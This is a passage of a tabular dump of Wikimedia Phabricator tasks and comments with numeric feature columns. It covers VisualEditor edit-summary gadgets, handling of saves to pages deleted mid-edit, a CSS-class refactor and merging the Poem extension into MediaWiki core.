{T50274}",Low,25.0,1374828360,1561117513.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-odseemabxyqbdz2dgloa,task_description,resolved,True,c1,3,False,False,False,3,,2.0,0.0,0.5,1.0,0.0,5.0,1.5,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.0,0.0,0.0,2.5,11.0,0.0,0.0,0.5,0.0,0.5,0.5,0.5,0.0,0.5,1.5,0.0,0.5,3.5,1.0,1.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,17.5,0.5,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,8.5,3.0,11.0,0.5,2.0,12.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,11.0,4.5,0.0,0.5,0.0,3.0,0.0,0.5,4.5,1.0,1.5,0.0,0.0,0.0,4.174992653540993,0.6849103732001175,"Wikipedias in some languages, among them Polish, Russian, Ukrainian and Hebrew, have a gadget that shows a list of frequent edit summaries near the edit summary field in source editing mode.

Here are the source samples:

Polish: URL
Hebrew: URL

Many users in the Hebrew Wikipedia complained about the lack of this gadget in the VisualEditor. This could be an enhancement request, but given that for several languages it's an integral part of the editing interface for these languages, it's a regression for them.

Adding this as a feature should be very easy, given that it's quite simple and the existing gadgets' code can be reused. Localization and customization for every project can be done on a MediaWiki page with a list of summaries for that project.

--------------------------
**See Also**:
{T50274}"
1301799,VisualEditor: Provide buttons for locally-configured frequent edit summary contents,Task was to update gadgets which is done. Please re-file if you think this functionality needs to be upstreamed.,,,1561117513,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-odseemabxyqbdz2dgloa,task_subcomment,,True,c1,3,True,,,311,,0.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,9.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.086956521739131,0.9130434782608695,Task was to update gadgets which is done. Please re-file if you think this functionality needs to be upstreamed.
871532,VisualEditor: Provide buttons for locally-configured frequent edit summary contents,"The relevant gadgets currently seem to support VE (And so does the english wikipedia version of this gadget). Do we keep this open as a core VE improvement ? 

I'd think that considering the experiences with iOS mobile App canned edit summaries some thorough UX analysis and creative thinking would have to go into this to make such a thing useful for both inexperienced and seasoned editors honestly.",,,1496828368,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-odseemabxyqbdz2dgloa,task_subcomment,,True,c1,3,True,,,205,,1.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,3.0,1.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,5.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,0.0,11.0,1.0,4.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,12.0,8.0,1.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,4.513513513513513,0.8783783783783784,"The relevant gadgets currently seem to support VE (And so does the english wikipedia version of this gadget). Do we keep this open as a core VE improvement ? 

I'd think that considering the experiences with iOS mobile App canned edit summaries some thorough UX analysis and creative thinking would have to go into this to make such a thing useful for both inexperienced and seasoned editors honestly."
398020,VisualEditor: Provide buttons for locally-configured frequent edit summary contents,"Yes, and FWIW, the he.wikipedia veteran editors welcomed this change, done by @eranroz (thanks, Eran).

It's available in the mobile apps in all languages, and I wonder - can @deskana provide any info about whether the mobile editors use it and like it? And what do the recent changes patrolers in different languages think about it?",,,1420985690,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-odseemabxyqbdz2dgloa,task_subcomment,,True,c1,3,False,,,79,,3.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,2.0,6.0,11.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,8.0,11.0,5.0,3.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.318181818181818,0.7272727272727273,"Yes, and FWIW, the he.wikipedia veteran editors welcomed this change, done bySCREEN_NAME (thanks, Eran).

It's available in the mobile apps in all languages, and I wonder - canSCREEN_NAME provide any info about whether the mobile editors use it and like it? And what do the recent changes patrolers in different languages think about it?"
398017,VisualEditor: Provide buttons for locally-configured frequent edit summary contents,"Both of the gadgets linked have been extended to also work with VisualEditor, by the way.",,,1420984413,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-odseemabxyqbdz2dgloa,task_subcomment,,True,c1,3,True,,,79,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,22.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,6.0,11.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,22.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,0.9444444444444444,"Both of the gadgets linked have been extended to also work with VisualEditor, by the way."
238801,VisualEditor: Provide buttons for locally-configured frequent edit summary contents,"(In reply to comment #1)
> I'm reminded of bug 48274.

It's somewhat related, but definitely not the same. What I'm talking about are very frequent summaries in a project. Every project community decides what it needs, but usually it's common generic stuff like ""spelling"", ""adding links"", ""wikification"", ""removing unreferenced content"", ""copyediting"" etc.",,,1374829478,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-odseemabxyqbdz2dgloa,task_subcomment,,True,c1,3,False,,,3,,1.0,0.0,1.0,0.0,1.0,8.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,1.0,1.0,7.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,4.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,8.0,0.0,3.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,5.0,7.0,0.0,0.0,13.0,0.0,5.0,0.0,3.0,1.0,0.0,5.0,0.0,0.0,1.0,3.8533333333333335,0.7333333333333333,"(In reply to comment #1)
QUOTE

It's somewhat related, but definitely not the same. What I'm talking about are very frequent summaries in a project. Every project community decides what it needs, but usually it's common generic stuff like ""spelling"", ""adding links"", ""wikification"", ""removing unreferenced content"", ""copyediting"" etc."
238792,VisualEditor: Provide buttons for locally-configured frequent edit summary contents,I'm reminded of bug 48274.,,,1374828543,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-odseemabxyqbdz2dgloa,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,1.0,I'm reminded of bug 48274.
54073,"When user is saving a page subsequently deleted after they started editing, show them <confirmrecreate‎>","Steps to reproduce:
1. Open VE on a sandbox
2. In a different window, delete the sandbox
3. In the VE window, change the text in the sandbox and save the page

Expected results:
Something similar to the SE, which asks ""
User xxx (talk) deleted this article after you started editing it, with a reason of:

    blah 

Please confirm that you really want to recreate this article."" with a checkbox

Actual results:
Backend error message is displayed, and there is no option to ignore this error.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1374805260,1416944610.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-TASK-pyseattqnc7yj362nndp,task_description,resolved,True,c1,3,False,False,False,3,,0.0,0.5,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,1.0,8.0,0.5,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.5,1.0,1.0,1.5,0.0,0.5,1.0,0.5,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,13.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.5,9.0,1.0,1.5,9.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,0.0,2.0,8.0,3.0,0.0,1.5,0.0,2.0,0.0,0.5,2.5,0.0,1.0,0.0,0.0,1.0,3.734848484848485,0.6742424242424242,"Steps to reproduce:
1. Open VE on a sandbox
2. In a different window, delete the sandbox
3. In the VE window, change the text in the sandbox and save the page

Expected results:
Something similar to the SE, which asks ""
User xxx (talk) deleted this article after you started editing it, with a reason of:

    blah 

Please confirm that you really want to recreate this article."" with a checkbox

Actual results:
Backend error message is displayed, and there is no option to ignore this error.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
333110,"When user is saving a page subsequently deleted after they started editing, show them <confirmrecreate‎>","Change 169976 merged by jenkins-bot:
Catch pagedeleted errors and give the ability to re-create the page

[[https://gerrit.wikimedia.org/r/169976]]",,,1416944580,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pyseattqnc7yj362nndp,task_subcomment,,True,c1,3,False,,,73,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,11.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,18.0,0.0,4.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.7857142857142856,0.8571428571428571,"Change 169976 merged by jenkins-bot:
Catch pagedeleted errors and give the ability to re-create the page

[[GERRIT_URL]]"
238158,"When user is saving a page subsequently deleted after they started editing, show them <confirmrecreate‎>","Change 169976 had a related patch set uploaded by Alex Monk:
Catch pagedeleted errors and give the ability to re-create the page

https://gerrit.wikimedia.org/r/169976",,,1414630160,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pyseattqnc7yj362nndp,task_subcomment,,True,c1,3,False,,,69,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,18.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,18.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,0.9642857142857143,"Change 169976 had a related patch set uploaded by Alex Monk:
Catch pagedeleted errors and give the ability to re-create the page

GERRIT_URL"
238152,"When user is saving a page subsequently deleted after they started editing, show them <confirmrecreate‎>","I currently get this error in Parsoid:

TypeError: Cannot read property 'length' of null
    at Object.result.parse (eval at <anonymous> (/var/www/MediaWiki/Git/extensions/VisualEditor/parsoid/lib/mediawiki.tokenizer.peg.js:97:44), <anonymous>:18347:34)
    at PegTokenizer.tokenizeAsync (/var/www/MediaWiki/Git/extensions/VisualEditor/parsoid/lib/mediawiki.tokenizer.peg.js:135:25)
    at PegTokenizer._processText (/var/www/MediaWiki/Git/extensions/VisualEditor/parsoid/lib/mediawiki.tokenizer.peg.js:124:8)
    at PegTokenizer.process (/var/www/MediaWiki/Git/extensions/VisualEditor/parsoid/lib/mediawiki.tokenizer.peg.js:38:7)
    at ParserPipeline.process (/var/www/MediaWiki/Git/extensions/VisualEditor/parsoid/lib/mediawiki.parser.js:439:21)
    at ParserPipeline.processToplevelDoc (/var/www/MediaWiki/Git/extensions/VisualEditor/parsoid/lib/mediawiki.parser.js:455:21)
    at SSP.parseOriginalSource (/var/www/MediaWiki/Git/extensions/VisualEditor/parsoid/lib/mediawiki.SelectiveSerializer.js:143:17)
    at TemplateRequest.<anonymous> (/var/www/MediaWiki/Git/extensions/VisualEditor/parsoid/lib/mediawiki.Util.js:1266:3)
    at TemplateRequest.g (events.js:180:16)
    at Object.processSome [as _onImmediate] (/var/www/MediaWiki/Git/extensions/VisualEditor/parsoid/lib/mediawiki.ApiRequest.js:123:17)
worker 11363 died (1), restarting.",,,1397917595,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-pyseattqnc7yj362nndp,task_subcomment,,True,c1,3,True,,,41,,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,5.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.333333333333334,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.6666666666666666,5.0,28.666666666666668,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,2.3333333333333335,5.090743274053808,0.38239854081167346,"I currently get this error in Parsoid:

TypeError: Cannot read property 'length' of null
    at Object.result.parse (eval at <anonymous> (/var/www/MediaWiki/Git/extensions/VisualEditor/parsoid/lib/mediawiki.tokenizer.peg.js:97:44), <anonymous>:18347:34)
    at PegTokenizer.tokenizeAsync (/var/www/MediaWiki/Git/extensions/VisualEditor/parsoid/lib/mediawiki.tokenizer.peg.js:135:25)
    at PegTokenizer._processText (/var/www/MediaWiki/Git/extensions/VisualEditor/parsoid/lib/mediawiki.tokenizer.peg.js:124:8)
    at PegTokenizer.process (/var/www/MediaWiki/Git/extensions/VisualEditor/parsoid/lib/mediawiki.tokenizer.peg.js:38:7)
    at ParserPipeline.process (/var/www/MediaWiki/Git/extensions/VisualEditor/parsoid/lib/mediawiki.parser.js:439:21)
    at ParserPipeline.processToplevelDoc (/var/www/MediaWiki/Git/extensions/VisualEditor/parsoid/lib/mediawiki.parser.js:455:21)
    at SSP.parseOriginalSource (/var/www/MediaWiki/Git/extensions/VisualEditor/parsoid/lib/mediawiki.SelectiveSerializer.js:143:17)
    at TemplateRequest.<anonymous> (/var/www/MediaWiki/Git/extensions/VisualEditor/parsoid/lib/mediawiki.Util.js:1266:3)
    at TemplateRequest.g (events.js:180:16)
    at Object.processSome [as _onImmediate] (/var/www/MediaWiki/Git/extensions/VisualEditor/parsoid/lib/mediawiki.ApiRequest.js:123:17)
worker 11363 died (1), restarting."
238146,"When user is saving a page subsequently deleted after they started editing, show them <confirmrecreate‎>","The response is now:

| Error: The page has been deleted since you fetched its timestamp

I guess we should inherit this message, however. Changing to an enhancement.",,,1385395630,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pyseattqnc7yj362nndp,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,6.0,14.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.0285714285714285,0.8857142857142857,"The response is now:

| Error: The page has been deleted since you fetched its timestamp

I guess we should inherit this message, however. Changing to an enhancement."
54065,VisualEditor: Make ve.ce.MWBlockImageNode.prototype.getCssClass nicer,"It should look at the attributes directly rather than take them as parameters. We should move the folding of all sorts of types into 'default' or 'none' in there. We should set the CSS class in one place rather than two different ones.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1374792420,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-onafhjfu75ziw55sv6d6,task_description,open,True,c1,3,False,False,,3,,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,6.0,0.0,0.0,0.0,3.0,0.0,7.0,13.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,6.0,13.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.9705882352941178,0.6617647058823529,"It should look at the attributes directly rather than take them as parameters. We should move the folding of all sorts of types into 'default' or 'none' in there. We should set the CSS class in one place rather than two different ones.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
54061,Merge Poem extension into MediaWiki core,"The Poem extension has almost as much extension setup as it has functionality. Bundling it with MediaWiki is silly, it should simply be merged into core.

--------------------------
**Version**: 1.22.0
**Severity**: enhancement
**Whiteboard**: migrate Poem extension bugs to core post-resolution",Low,25.0,1374788640,,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-bdnotllyeea37ihjkmr3,task_description,open,True,c1,3,False,False,,3,,2.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,13.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,5.0,6.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.142857142857143,0.6190476190476191,"The Poem extension has almost as much extension setup as it has functionality. Bundling it with MediaWiki is silly, it should simply be merged into core.

--------------------------
**Version**: 1.22.0
**Severity**: enhancement
**Whiteboard**: migrate Poem extension bugs to core post-resolution"
1067838,Merge Poem extension into MediaWiki core,"For clarity I have split the work plan in my previous comment to a new task, {T194651}.",,,1526299289,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,254,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,14.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,14.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.380952380952381,1.0,"For clarity I have split the work plan in my previous comment to a new task, {T194651}."
1045958,Merge Poem extension into MediaWiki core,"We had an IRC discussion in #mediawiki-parsoid about this. 

* We'll get rid of the special handling of `:`, but preserve the existing appearance by using CSS. So end users won't notice a change, unless they have custom CSS rules with selectors like `div.poem > span` or `.mw-poem-indented`, which will not work anymore. This will address T123216.
* The compact attribute is going to be killed. (We didn't actually discuss this, but everyone appears to agree that it is useless.) This will address T16910.
* We'll try to solve the T124144 <hr> issue as well. Existing patches for that task will be insufficient to deal with the problem when <pre> is used. 
* Once those things are done, @ssastry suggested to follow this plan:
** get feedback from Wikisource
** do visual diffs if required as part of that
** merge the patch https://gerrit.wikimedia.org/r/#/c/328887/
** evaluate if there is anything we want to deprecate via linter (e.g. intra-line whitespace)
** reevaluate whether we want to merge this into core as <lines> as the original proposal stood

This is arguably the wrong task for this work, since we are not actually merging the extension (yet) - the current flurry of work is a precursor to that.",,,1522959725,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,248,,0.0,0.6666666666666666,0.0,1.0,1.3333333333333333,4.666666666666667,1.3333333333333333,0.0,0.0,1.0,2.3333333333333335,1.3333333333333333,0.0,0.0,0.3333333333333333,2.6666666666666665,0.0,5.333333333333333,11.333333333333334,0.6666666666666666,2.3333333333333335,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,2.0,0.0,4.666666666666667,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,12.0,2.0,2.3333333333333335,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,4.666666666666667,3.6666666666666665,7.666666666666667,2.6666666666666665,1.0,9.333333333333334,0.0,0.0,0.0,0.3333333333333333,7.0,0.0,0.0,0.0,3.3333333333333335,11.333333333333334,2.6666666666666665,0.0,0.0,0.0,3.3333333333333335,0.0,0.6666666666666666,1.0,0.0,1.6666666666666667,0.0,0.0,2.6666666666666665,3.7299133606931143,0.7419516643866849,"We had an IRC discussion in #mediawiki-parsoid about this. 

* We'll get rid of the special handling of CODE, but preserve the existing appearance by using CSS. So end users won't notice a change, unless they have custom CSS rules with selectors like CODE or CODE, which will not work anymore. This will address T123216.
* The compact attribute is going to be killed. (We didn't actually discuss this, but everyone appears to agree that it is useless.) This will address T16910.
* We'll try to solve the T124144 <hr> issue as well. Existing patches for that task will be insufficient to deal with the problem when <pre> is used. 
* Once those things are done,SCREEN_NAME suggested to follow this plan:
** get feedback from Wikisource
** do visual diffs if required as part of that
** merge the patch URL
** evaluate if there is anything we want to deprecate via linter (e.g. intra-line whitespace)
** reevaluate whether we want to merge this into core as <lines> as the original proposal stood

This is arguably the wrong task for this work, since we are not actually merging the extension (yet) - the current flurry of work is a precursor to that."
1044917,Merge Poem extension into MediaWiki core,"So, looking at https://gerrit.wikimedia.org/r/328887 it seems that, if that patch is merged, the primary difference between `<poem>` and `<pre>` handling in core is:
* `<poem>` generates an empty span with `margin-left:1em` for wikitext like `: foo`.  But I think we could probably tweak the CSS so that the rendering of the standard parser output for `:foo` (aka, `<dl><dd>foo</dd></dl>` is the same.
* `<poem>` respects leading whitespace, but compresses intraline whitespace.  This is currently being done by a combination of CSS and manually substituting leading whitespace with `&nbsp;`.  In order to clean this up, the easiest thing would be to stop compressing intraline whitespace.  We'd either do that for a new `<lines>` tag (and merge the `<lines>` semantics into core) or else do a wikilint type project to simply removing inadvertent intraline whitespace.  Depending on how prevalent it is, the latter might not be too hard.

What else am I missing?",,,1522871580,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,248,,0.0,0.0,0.0,1.0,0.5,6.0,1.5,0.0,0.0,0.5,1.0,0.5,0.0,0.0,0.0,2.0,1.0,6.5,12.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.5,6.0,0.5,1.0,0.0,0.0,0.5,0.0,1.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,14.0,1.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,2.0,0.0,0.5,0.0,0.0,0.0,6.5,5.0,12.0,2.5,3.0,8.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,12.0,5.5,0.5,0.0,0.0,3.0,0.0,1.0,2.0,0.0,5.0,0.0,0.5,0.0,4.090653728294178,0.7289964249233912,"So, looking at GERRIT_URL it seems that, if that patch is merged, the primary difference between CODE and CODE handling in core is:
* CODE generates an empty span with CODE for wikitext like CODE.  But I think we could probably tweak the CSS so that the rendering of the standard parser output for CODE (aka, CODE is the same.
* CODE respects leading whitespace, but compresses intraline whitespace.  This is currently being done by a combination of CSS and manually substituting leading whitespace with CODE.  In order to clean this up, the easiest thing would be to stop compressing intraline whitespace.  We'd either do that for a new CODE tag (and merge the CODE semantics into core) or else do a wikilint type project to simply removing inadvertent intraline whitespace.  Depending on how prevalent it is, the latter might not be too hard.

What else am I missing?"
1034068,Merge Poem extension into MediaWiki core,"Also, it would be nice if we could have some more attention on https://gerrit.wikimedia.org/r/330896/. This is an obscure bug in the PHP parser that is only triggered by certain wikitext content generated by a tag extension (it can't be triggered by user-entered wikitext), and it blocks the re-implementation of `<poem>` using the `<pre>` 